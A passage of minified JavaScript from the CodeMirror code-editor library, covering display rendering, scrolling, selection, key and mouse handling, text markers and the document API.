b=a.display;!b.scrollbarsClipped&&b.scroller.offsetWidth&&(b.nativeBarWidth=b.scroller.offsetWidth-b.scroller.clientWidth,b.heightForcer.style.height=Rb(a)+"px",b.sizer.style.marginBottom=-b.nativeBarWidth+"px",b.sizer.style.borderRightWidth=Rb(a)+"px",b.scrollbarsClipped=!0)}function zd(a){if(a.hasFocus())return null;var b=g();if(!b||!f(a.display.lineDiv,b))return null;var c={activeElt:b};if(window.getSelection){var d=window.getSelection();d.anchorNode&&d.extend&&f(a.display.lineDiv,d.anchorNode)&&(c.anchorNode=d.anchorNode,c.anchorOffset=d.anchorOffset,c.focusNode=d.focusNode,c.focusOffset=d.focusOffset)}return c}function Ad(a){if(a&&a.activeElt&&a.activeElt!=g()&&(a.activeElt.focus(),a.anchorNode&&f(document.body,a.anchorNode)&&f(document.body,a.focusNode))){var b=window.getSelection(),c=document.createRange();c.setEnd(a.anchorNode,a.anchorOffset),c.collapse(!1),b.removeAllRanges(),b.addRange(c),b.extend(a.focusNode,a.focusOffset)}}function Bd(a,c){var d=a.display,e=a.doc;if(c.editorIsHidden)return sd(a),!1;if(!c.force&&c.visible.from>=d.viewFrom&&c.visible.to<=d.viewTo&&(null==d.updateLineNumbers||d.updateLineNumbers>=d.viewTo)&&d.renderedView==d.view&&0==vd(a))return!1;Oc(a)&&(sd(a),c.dims=uc(a));var f=e.first+e.size,g=Math.max(c.visible.from-a.options.viewportMargin,e.first),h=Math.min(f,c.visible.to+a.options.viewportMargin);d.viewFrom<g&&g-d.viewFrom<20&&(g=Math.max(e.first,d.viewFrom)),d.viewTo>h&&d.viewTo-h<20&&(h=Math.min(f,d.viewTo)),Ug&&(g=oa(a.doc,g),h=pa(a.doc,h));var i=g!=d.viewFrom||h!=d.viewTo||d.lastWrapHeight!=c.wrapperHeight||d.lastWrapWidth!=c.wrapperWidth;ud(a,g,h),d.viewOffset=sa(B(a.doc,d.viewFrom)),a.display.mover.style.top=d.viewOffset+"px";var j=vd(a);if(!i&&0==j&&!c.force&&d.renderedView==d.view&&(null==d.updateLineNumbers||d.updateLineNumbers>=d.viewTo))return!1;var k=zd(a);return j>4&&(d.lineDiv.style.display="none"),Ed(a,d.updateLineNumbers,c.dims),j>4&&(d.lineDiv.style.display=""),d.renderedView=d.view,Ad(k),b(d.cursorDiv),b(d.selectionDiv),d.gutters.style.height=d.sizer.style.minHeight=0,i&&(d.lastWrapHeight=c.wrapperHeight,d.lastWrapWidth=c.wrapperWidth,wd(a,400)),d.updateLineNumbers=null,!0}function Cd(a,b){for(var c=b.viewport,d=!0;(d&&a.options.lineWrapping&&b.oldDisplayWidth!=Sb(a)||(c&&null!=c.top&&(c={top:Math.min(a.doc.height+Pb(a.display)-Tb(a),c.top)}),b.visible=Mc(a.display,a.doc,c),!(b.visible.from>=a.display.viewFrom&&b.visible.to<=a.display.viewTo)))&&Bd(a,b);d=!1){Kc(a);var e=ad(a);Ac(a),bd(a,e),Gd(a,e),b.force=!1}b.signal(a,"update",a),a.display.viewFrom==a.display.reportedViewFrom&&a.display.viewTo==a.display.reportedViewTo||(b.signal(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo)}function Dd(a,b){var c=new uh(a,b);if(Bd(a,c)){Kc(a),Cd(a,c);var d=ad(a);Ac(a),bd(a,d),Gd(a,d),c.finish()}}function Ed(a,c,d){function e(b){var c=b.nextSibling;return pg&&zg&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b),c}for(var f=a.display,g=a.options.lineNumbers,h=f.lineDiv,i=h.firstChild,j=f.view,k=f.viewFrom,l=0;l<j.length;l++){var n=j[l];if(n.hidden);else if(n.node&&n.node.parentNode==h){for(;i!=n.node;)i=e(i);var o=g&&null!=c&&c<=k&&n.lineNumber;n.changes&&(m(n.changes,"gutter")>-1&&(o=!1),Ab(a,n,k,d)),o&&(b(n.lineNumber),n.lineNumber.appendChild(document.createTextNode(I(a.options,k)))),i=n.node.nextSibling}else{var p=Ib(a,n,k,d);h.insertBefore(p,i)}k+=n.size}for(;i;)i=e(i)}function Fd(a){var b=a.display.gutters.offsetWidth;a.display.sizer.style.marginLeft=b+"px"}function Gd(a,b){a.display.sizer.style.minHeight=b.docHeight+"px",a.display.heightForcer.style.top=b.docHeight+"px",a.display.gutters.style.height=b.docHeight+a.display.barHeight+Rb(a)+"px"}function Hd(a){var c=a.display.gutters,e=a.options.gutters;b(c);for(var f=0;f<e.length;++f){var g=e[f],h=c.appendChild(d("div",null,"CodeMirror-gutter "+g));"CodeMirror-linenumbers"==g&&(a.display.lineGutter=h,h.style.width=(a.display.lineNumWidth||1)+"px")}c.style.display=f?"":"none",Fd(a)}function Id(a){var b=m(a.gutters,"CodeMirror-linenumbers");b==-1&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):b>-1&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function Jd(a){var b=a.wheelDeltaX,c=a.wheelDeltaY;return null==b&&a.detail&&a.axis==a.HORIZONTAL_AXIS&&(b=a.detail),null==c&&a.detail&&a.axis==a.VERTICAL_AXIS?c=a.detail:null==c&&(c=a.wheelDelta),{x:b,y:c}}function Kd(a){var b=Jd(a);return b.x*=wh,b.y*=wh,b}function Ld(a,b){var c=Jd(b),d=c.x,e=c.y,f=a.display,g=f.scroller,h=g.scrollWidth>g.clientWidth,i=g.scrollHeight>g.clientHeight;if(d&&h||e&&i){if(e&&zg&&pg)a:for(var j=b.target,k=f.view;j!=g;j=j.parentNode)for(var l=0;l<k.length;l++)if(k[l].node==j){a.display.currentWheelTarget=j;break a}if(d&&!jg&&!sg&&null!=wh)return e&&i&&Zc(a,Math.max(0,g.scrollTop+e*wh)),_c(a,Math.max(0,g.scrollLeft+d*wh)),(!e||e&&i)&&Ja(b),void(f.wheelStartX=null);if(e&&null!=wh){var m=e*wh,n=a.doc.scrollTop,o=n+f.wrapper.clientHeight;m<0?n=Math.max(0,n+m-50):o=Math.min(a.doc.height,o+m+50),Dd(a,{top:n,bottom:o})}vh<20&&(null==f.wheelStartX?(f.wheelStartX=g.scrollLeft,f.wheelStartY=g.scrollTop,f.wheelDX=d,f.wheelDY=e,setTimeout(function(){if(null!=f.wheelStartX){var a=g.scrollLeft-f.wheelStartX,b=g.scrollTop-f.wheelStartY,c=b&&f.wheelDY&&b/f.wheelDY||a&&f.wheelDX&&a/f.wheelDX;f.wheelStartX=f.wheelStartY=null,c&&(wh=(wh*vh+c)/(vh+1),++vh)}},200)):(f.wheelDX+=d,f.wheelDY+=e))}}function Md(a,b){var c=a[b];a.sort(function(a,b){return K(a.from(),b.from())}),b=m(a,c);for(var d=1;d<a.length;d++){var e=a[d],f=a[d-1];if(K(f.to(),e.from())>=0){var g=O(f.from(),e.from()),h=N(f.to(),e.to()),i=f.empty()?e.from()==e.head:f.from()==f.head;d<=b&&--b,a.splice(--d,2,new yh(i?h:g,i?g:h))}}return new xh(a,b)}function Nd(a,b){return new xh([new yh(a,b||a)],0)}function Od(a){return a.text?J(a.from.line+a.text.length-1,p(a.text).length+(1==a.text.length?a.from.ch:0)):a.to}function Pd(a,b){if(K(a,b.from)<0)return a;if(K(a,b.to)<=0)return Od(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;return a.line==b.to.line&&(d+=Od(b).ch-b.to.ch),J(c,d)}function Qd(a,b){for(var c=[],d=0;d<a.sel.ranges.length;d++){var e=a.sel.ranges[d];c.push(new yh(Pd(e.anchor,b),Pd(e.head,b)))}return Md(c,a.sel.primIndex)}function Rd(a,b,c){return a.line==b.line?J(c.line,a.ch-b.ch+c.ch):J(c.line+(a.line-b.line),a.ch)}function Sd(a,b,c){for(var d=[],e=J(a.first,0),f=e,g=0;g<b.length;g++){var h=b[g],i=Rd(h.from,e,f),j=Rd(Od(h),e,f);if(e=h.to,f=j,"around"==c){var k=a.sel.ranges[g],l=K(k.head,k.anchor)<0;d[g]=new yh(l?j:i,l?i:j)}else d[g]=new yh(i,i)}return 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c=mf(a,b.line),d=B(a.doc,c.line),e=xa(d,a.doc.direction);if(!e||0==e[0].level){var f=Math.max(0,d.text.search(/\S/)),g=b.line==c.line&&b.ch<=f&&b.ch;return J(c.line,g?0:f,c.sticky)}return c}function pf(a,b,c){if("string"==typeof b&&(b=Mh[b],!b))return!1;a.display.input.ensurePolled();var d=a.display.shift,e=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=Mg}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function qf(a,b,c){for(var d=0;d<a.state.keyMaps.length;d++){var e=ff(b,a.state.keyMaps[d],c,a);if(e)return e}return a.options.extraKeys&&ff(b,a.options.extraKeys,c,a)||ff(b,a.options.keyMap,c,a)}function rf(a,b,c,d){var e=a.state.keySeq;if(e){if(gf(b))return"handled";Nh.set(50,function(){a.state.keySeq==e&&(a.state.keySeq=null,a.display.input.reset())}),b=e+" "+b}var f=qf(a,b,d);return"multi"==f&&(a.state.keySeq=b),"handled"==f&&yb(a,"keyHandled",a,b,c),"handled"!=f&&"multi"!=f||(Ja(c),Fc(a)),e&&!f&&/\'$/.test(b)?(Ja(c),!0):!!f}function sf(a,b){var c=jf(b,!0);return!!c&&(b.shiftKey&&!a.state.keySeq?rf(a,"Shift-"+c,b,function(b){return pf(a,b,!0)})||rf(a,c,b,function(b){if("string"==typeof b?/^go[A-Z]/.test(b):b.motion)return pf(a,b)}):rf(a,c,b,function(b){return pf(a,b)}))}function tf(a,b,c){return rf(a,"'"+c+"'",b,function(b){return pf(a,b,!0)})}function uf(a){var b=this;if(b.curOp.focus=g(),!Fa(b,a)){ng&&og<11&&27==a.keyCode&&(a.returnValue=!1);var c=a.keyCode;b.display.shift=16==c||a.shiftKey;var d=sf(b,a);sg&&(Oh=d?c:null,!d&&88==c&&!ah&&(zg?a.metaKey:a.ctrlKey)&&b.replaceSelection("",null,"cut")),18!=c||/\bCodeMirror-crosshair\b/.test(b.display.lineDiv.className)||vf(b)}}function vf(a){function b(a){18!=a.keyCode&&a.altKey||(Gg(c,"CodeMirror-crosshair"),Da(document,"keyup",b),Da(document,"mouseover",b))}var c=a.display.lineDiv;h(c,"CodeMirror-crosshair"),Yg(document,"keyup",b),Yg(document,"mouseover",b)}function wf(a){16==a.keyCode&&(this.doc.sel.shift=!1),Fa(this,a)}function xf(a){var b=this;if(!(Nb(b.display,a)||Fa(b,a)||a.ctrlKey&&!a.altKey||zg&&a.metaKey)){var c=a.keyCode,d=a.charCode;if(sg&&c==Oh)return Oh=null,void Ja(a);if(!sg||a.which&&!(a.which<10)||!sf(b,a)){var e=String.fromCharCode(null==d?c:d);"\b"!=e&&(tf(b,a,e)||b.display.input.onKeyPress(a))}}}function yf(a,b){var c=+new Date;return Sh&&Sh.compare(c,a,b)?(Rh=Sh=null,"triple"):Rh&&Rh.compare(c,a,b)?(Sh=new Qh(c,a,b),Rh=null,"double"):(Rh=new Qh(c,a,b),Sh=null,"single")}function zf(a){var b=this,c=b.display;if(!(Fa(b,a)||c.activeTouch&&c.input.supportsTouch())){if(c.input.ensurePolled(),c.shift=a.shiftKey,Nb(c,a))return void(pg||(c.scroller.draggable=!1,setTimeout(function(){return c.scroller.draggable=!0},100)));if(!Hf(b,a)){var d=yc(b,a),e=Oa(a),f=d?yf(d,e):"single";window.focus(),1==e&&b.state.selectingText&&b.state.selectingText(a),d&&Af(b,e,d,f,a)||(1==e?d?Cf(b,d,f,a):Na(a)==c.scroller&&Ja(a):2==e?(d&&ne(b.doc,d),setTimeout(function(){return c.input.focus()},20)):3==e&&(Fg?If(b,a):Hc(b)))}}}function Af(a,b,c,d,e){var f="Click";return"double"==d?f="Double"+f:"triple"==d&&(f="Triple"+f),f=(1==b?"Left":2==b?"Middle":"Right")+f,rf(a,hf(f,e),e,function(b){if("string"==typeof b&&(b=Mh[b]),!b)return!1;var d=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),d=b(a,c)!=Mg}finally{a.state.suppressEdits=!1}return d})}function Bf(a,b,c){var d=a.getOption("configureMouse"),e=d?d(a,b,c):{};if(null==e.unit){var f=Ag?c.shiftKey&&c.metaKey:c.altKey;e.unit=f?"rectangle":"single"==b?"char":"double"==b?"word":"line"}return(null==e.extend||a.doc.extend)&&(e.extend=a.doc.extend||c.shiftKey),null==e.addNew&&(e.addNew=zg?c.metaKey:c.ctrlKey),null==e.moveOnDrag&&(e.moveOnDrag=!(zg?c.altKey:c.ctrlKey)),e}function Cf(a,b,c,d){ng?setTimeout(j(Gc,a),0):a.curOp.focus=g();var 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f=d.children[e],g=f.chunkSize();if(a<=g){if(f.insertInner(a,b,c),f.lines&&f.lines.length>50){for(var h=f.lines.length%25+25,i=h;i<f.lines.length;){var j=new Oe(f.lines.slice(i,i+=25));f.height-=j.height,d.children.splice(++e,0,j),j.parent=d}f.lines=f.lines.slice(0,h),d.maybeSpill()}break}a-=g}},maybeSpill:function(){if(!(this.children.length<=10)){var a=this;do{var b=a.children.splice(a.children.length-5,5),c=new Pe(b);if(a.parent){a.size-=c.size,a.height-=c.height;var d=m(a.parent.children,a);a.parent.children.splice(d+1,0,c)}else{var e=new Pe(a.children);e.parent=a,a.children=[e,c],a=e}c.parent=a.parent}while(a.children.length>10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=this,e=0;e<this.children.length;++e){var f=d.children[e],g=f.chunkSize();if(a<g){var h=Math.min(b,g-a);if(f.iterN(a,h,c))return!0;if(0==(b-=h))break;a=0}else a-=g}}};var zh=function(a,b,c){var d=this;if(c)for(var e in c)c.hasOwnProperty(e)&&(d[e]=c[e]);this.doc=a,this.node=b};zh.prototype.clear=function(){var a=this,b=this.doc.cm,c=this.line.widgets,d=this.line,e=F(d);if(null!=e&&c){for(var f=0;f<c.length;++f)c[f]==a&&c.splice(f--,1);c.length||(d.widgets=null);var g=Mb(this);E(d,Math.max(0,d.height-g)),b&&(md(b,function(){Qe(b,d,-g),rd(b,e,"widget")}),yb(b,"lineWidgetCleared",b,this,e))}},zh.prototype.changed=function(){var a=this,b=this.height,c=this.doc.cm,d=this.line;this.height=null;var e=Mb(this)-b;e&&(E(d,d.height+e),c&&md(c,function(){c.curOp.forceUpdate=!0,Qe(c,d,e),yb(c,"lineWidgetChanged",c,a,F(d))}))},Ia(zh);var Ah=0,Bh=function(a,b){this.lines=[],this.type=b,this.doc=a,this.id=++Ah};Bh.prototype.clear=function(){var a=this;if(!this.explicitlyCleared){var b=this.doc.cm,c=b&&!b.curOp;if(c&&ed(b),Ha(this,"clear")){var d=this.find();d&&yb(this,"clear",d.from,d.to)}for(var e=null,f=null,g=0;g<this.lines.length;++g){var h=a.lines[g],i=W(h.markedSpans,a);b&&!a.collapsed?rd(b,F(h),"text"):b&&(null!=i.to&&(f=F(h)),null!=i.from&&(e=F(h))),h.markedSpans=X(h.markedSpans,i),null==i.from&&a.collapsed&&!qa(a.doc,h)&&b&&E(h,sc(b.display))}if(b&&this.collapsed&&!b.options.lineWrapping)for(var j=0;j<this.lines.length;++j){var k=la(a.lines[j]),l=ta(k);l>b.display.maxLineLength&&(b.display.maxLine=k,b.display.maxLineLength=l,b.display.maxLineChanged=!0)}null!=e&&b&&this.collapsed&&qd(b,e,f+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,b&&we(b.doc)),b&&yb(b,"markerCleared",b,this,e,f),c&&fd(b),this.parent&&this.parent.clear()}},Bh.prototype.find=function(a,b){var c=this;null==a&&"bookmark"==this.type&&(a=1);for(var d,e,f=0;f<this.lines.length;++f){var g=c.lines[f],h=W(g.markedSpans,c);if(null!=h.from&&(d=J(b?g:F(g),h.from),a==-1))return d;if(null!=h.to&&(e=J(b?g:F(g),h.to),1==a))return e}return d&&{from:d,to:e}},Bh.prototype.changed=function(){var a=this,b=this.find(-1,!0),c=this,d=this.doc.cm;b&&d&&md(d,function(){var e=b.line,f=F(b.line),g=Yb(d,f);if(g&&(dc(g),d.curOp.selectionChanged=d.curOp.forceUpdate=!0),d.curOp.updateMaxLine=!0,!qa(c.doc,e)&&null!=c.height){var h=c.height;c.height=null;var i=Mb(c)-h;i&&E(e,e.height+i)}yb(d,"markerChanged",d,a)})},Bh.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;b.maybeHiddenMarkers&&m(b.maybeHiddenMarkers,this)!=-1||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)},Bh.prototype.detachLine=function(a){if(this.lines.splice(m(this.lines,a),1),!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;(b.maybeHiddenMarkers||(b.maybeHiddenMarkers=[])).push(this)}},Ia(Bh);var Ch=function(a,b){var c=this;this.markers=a,this.primary=b;for(var d=0;d<a.length;++d)a[d].parent=c};Ch.prototype.clear=function(){var a=this;if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var b=0;b<this.markers.length;++b)a.markers[b].clear();yb(this,"clear")}},Ch.prototype.find=function(a,b){return this.primary.find(a,b)},Ia(Ch);var Dh=0,Eh=function(a,b,c,d,e){if(!(this instanceof Eh))return new Eh(a,b,c,d,e);null==c&&(c=0),Pe.call(this,[new Oe([new jh("",null)])]),this.first=c,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.modeFrontier=this.highlightFrontier=c;var f=J(c,0);this.sel=Nd(f),this.history=new _d(null),this.id=++Dh,this.modeOption=b,this.lineSep=d,this.direction="rtl"==e?"rtl":"ltr",this.extend=!1,"string"==typeof a&&(a=this.splitLines(a)),Wd(this,{from:f,to:f,text:a}),te(this,Nd(f),Ng)};Eh.prototype=t(Pe.prototype,{constructor:Eh,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d<b.length;++d)c+=b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=D(this,this.first,this.first+this.size);return a===!1?b:b.join(a||this.lineSeparator())},setValue:pd(function(a){var b=J(this.first,0),c=this.first+this.size-1;De(this,{from:b,to:J(c,B(this,c).text.length),text:this.splitLines(a),origin:"setValue",full:!0},!0),this.cm&&Vc(this.cm,0,0),te(this,Nd(b),Ng)}),replaceRange:function(a,b,c,d){b=Q(this,b),c=c?Q(this,c):b,Je(this,a,b,c,d)},getRange:function(a,b,c){var d=C(this,Q(this,a),Q(this,b));return c===!1?d:d.join(c||this.lineSeparator())},getLine:function(a){var b=this.getLineHandle(a);return b&&b.text},getLineHandle:function(a){if(H(this,a))return B(this,a)},getLineNumber:function(a){return F(a)},getLineHandleVisualStart:function(a){return"number"==typeof a&&(a=B(this,a)),la(a)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return Q(this,a)},getCursor:function(a){var b,c=this.sel.primary();return b=null==a||"head"==a?c.head:"anchor"==a?c.anchor:"end"==a||"to"==a||a===!1?c.to():c.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:pd(function(a,b,c){qe(this,Q(this,"number"==typeof a?J(a,b||0):a),null,c)}),setSelection:pd(function(a,b,c){qe(this,Q(this,a),Q(this,b||a),c)}),extendSelection:pd(function(a,b,c){ne(this,Q(this,a),b&&Q(this,b),c)}),extendSelections:pd(function(a,b){oe(this,S(this,a),b)}),extendSelectionsBy:pd(function(a,b){var c=q(this.sel.ranges,a);oe(this,S(this,c),b)}),setSelections:pd(function(a,b,c){var d=this;if(a.length){for(var e=[],f=0;f<a.length;f++)e[f]=new yh(Q(d,a[f].anchor),Q(d,a[f].head));null==b&&(b=Math.min(a.length-1,this.sel.primIndex)),te(this,Md(e,b),c)}}),addSelection:pd(function(a,b,c){var d=this.sel.ranges.slice(0);d.push(new yh(Q(this,a),Q(this,b||a))),te(this,Md(d,d.length-1),c)}),getSelection:function(a){for(var b,c=this,d=this.sel.ranges,e=0;e<d.length;e++){var f=C(c,d[e].from(),d[e].to());b=b?b.concat(f):f}return a===!1?b:b.join(a||this.lineSeparator())},getSelections:function(a){for(var b=this,c=[],d=this.sel.ranges,e=0;e<d.length;e++){var f=C(b,d[e].from(),d[e].to());a!==!1&&(f=f.join(a||b.lineSeparator())),c[e]=f}return c},replaceSelection:function(a,b,c){for(var d=[],e=0;e<this.sel.ranges.length;e++)d[e]=a;this.replaceSelections(d,b,c||"+input")},replaceSelections:pd(function(a,b,c){for(var d=this,e=[],f=this.sel,g=0;g<f.ranges.length;g++){var h=f.ranges[g];e[g]={from:h.from(),to:h.to(),text:d.splitLines(a[g]),origin:c}}for(var i=b&&"end"!=b&&Sd(this,e,b),j=e.length-1;j>=0;j--)De(d,e[j]);i?se(this,i):this.cm&&Uc(this.cm)}),undo:pd(function(){Fe(this,"undo")}),redo:pd(function(){Fe(this,"redo")}),undoSelection:pd(function(){Fe(this,"undo",!0)}),redoSelection:pd(function(){Fe(this,"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d<a.done.length;d++)a.done[d].ranges||++b;for(var e=0;e<a.undone.length;e++)a.undone[e].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){this.history=new _d(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){return a&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:le(this.history.done),undone:le(this.history.undone)}},setHistory:function(a){var b=this.history=new _d(this.history.maxGeneration);b.done=le(a.done.slice(0),null,!0),b.undone=le(a.undone.slice(0),null,!0)},setGutterMarker:pd(function(a,b,c){return Ne(this,a,"gutter",function(a){var d=a.gutterMarkers||(a.gutterMarkers={});return d[b]=c,!c&&w(d)&&(a.gutterMarkers=null),!0})}),clearGutter:pd(function(a){var b=this;this.iter(function(c){c.gutterMarkers&&c.gutterMarkers[a]&&Ne(b,c,"gutter",function(){return c.gutterMarkers[a]=null,w(c.gutterMarkers)&&(c.gutterMarkers=null),!0})})}),lineInfo:function(a){var b;if("number"==typeof a){if(!H(this,a))return null;if(b=a,a=B(this,a),!a)return null}else if(b=F(a),null==b)return null;return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},addLineClass:pd(function(b,c,d){return Ne(this,b,"gutter"==c?"gutter":"class",function(b){var e="text"==c?"textClass":"background"==c?"bgClass":"gutter"==c?"gutterClass":"wrapClass";if(b[e]){if(a(d).test(b[e]))return!1;b[e]+=" "+d}else b[e]=d;return!0})}),removeLineClass:pd(function(b,c,d){return Ne(this,b,"gutter"==c?"gutter":"class",function(b){var e="text"==c?"textClass":"background"==c?"bgClass":"gutter"==c?"gutterClass":"wrapClass",f=b[e];if(!f)return!1;if(null==d)b[e]=null;else{var g=f.match(a(d));if(!g)return!1;var h=g.index+g[0].length;b[e]=f.slice(0,g.index)+(g.index&&h!=f.length?" ":"")+f.slice(h)||null}return!0})}),addLineWidget:pd(function(a,b,c){return Re(this,a,b,c)}),removeLineWidget:function(a){a.clear()},markText:function(a,b,c){return Se(this,Q(this,a),Q(this,b),c,c&&c.type||"range")},setBookmark:function(a,b){var c={replacedWith:b&&(null==b.nodeType?b.widget:b),insertLeft:b&&b.insertLeft,clearWhenEmpty:!1,shared:b&&b.shared,handleMouseEvents:b&&b.handleMouseEvents};return a=Q(this,a),Se(this,a,a,c,"bookmark")},findMarksAt:function(a){a=Q(this,a);var b=[],c=B(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var e=c[d];(null==e.from||e.from<=a.ch)&&(null==e.to||e.to>=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=Q(this,a),b=Q(this,b);var d=[],e=a.line;return this.iter(a.line,b.line+1,function(f){var g=f.markedSpans;if(g)for(var h=0;h<g.length;h++){var i=g[h];null!=i.to&&e==a.line&&a.ch>=i.to||null==i.from&&e!=a.line||null!=i.from&&e==b.line&&i.from>=b.ch||c&&!c(i.marker)||d.push(i.marker.parent||i.marker)}++e}),d},getAllMarks:function(){var a=[];return this.iter(function(b){var c=b.markedSpans;if(c)for(var d=0;d<c.length;++d)null!=c[d].from&&a.push(c[d].marker)}),a},posFromIndex:function(a){var b,c=this.first,d=this.lineSeparator().length;return this.iter(function(e){var f=e.text.length+d;return f>a?(b=a,!0):(a-=f,void++c)}),Q(this,J(c,b))},indexFromPos:function(a){a=Q(this,a);var b=a.ch;if(a.line<this.first||a.ch<0)return 0;var c=this.lineSeparator().length;return this.iter(this.first,a.line,function(a){b+=a.text.length+c}),b},copy:function(a){var b=new Eh(D(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return b.scrollTop=this.scrollTop,b.scrollLeft=this.scrollLeft,b.sel=this.sel,b.extend=!1,a&&(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory())),b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;null!=a.from&&a.from>b&&(b=a.from),null!=a.to&&a.to<c&&(c=a.to);var d=new Eh(D(this,b,c),a.mode||this.modeOption,b,this.lineSep,this.direction);return a.sharedHist&&(d.history=this.history),(this.linked||(this.linked=[])).push({doc:d,sharedHist:a.sharedHist}),d.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}],Ve(d,Ue(this)),d},unlinkDoc:function(a){var b=this;if(a instanceof Pf&&(a=a.doc),this.linked)for(var c=0;c<this.linked.length;++c){var d=b.linked[c];if(d.doc==a){b.linked.splice(c,1),a.unlinkDoc(b),We(Ue(b));break}}if(a.history==this.history){var e=[a.id];Xd(a,function(a){return e.push(a.id)},!0),a.history=new _d(null),a.history.done=le(this.history.done,e),a.history.undone=le(this.history.undone,e)}},iterLinkedDocs:function(a){Xd(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(a){return this.lineSep?a.split(this.lineSep):$g(a)},lineSeparator:function(){return this.lineSep||"\n"},setDirection:pd(function(a){"rtl"!=a&&(a="ltr"),a!=this.direction&&(this.direction=a,this.iter(function(a){return a.order=null}),this.cm&&$d(this.cm))})}),Eh.prototype.eachLine=Eh.prototype.iter;for(var Fh=0,Gh=!1,Hh={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"},Ih=0;Ih<10;Ih++)Hh[Ih+48]=Hh[Ih+96]=String(Ih);for(var Jh=65;Jh<=90;Jh++)Hh[Jh]=String.fromCharCode(Jh);for(var Kh=1;Kh<=12;Kh++)Hh[Kh+111]=Hh[Kh+63235]="F"+Kh;var Lh={};Lh.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Lh.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Lh.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},Lh.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left"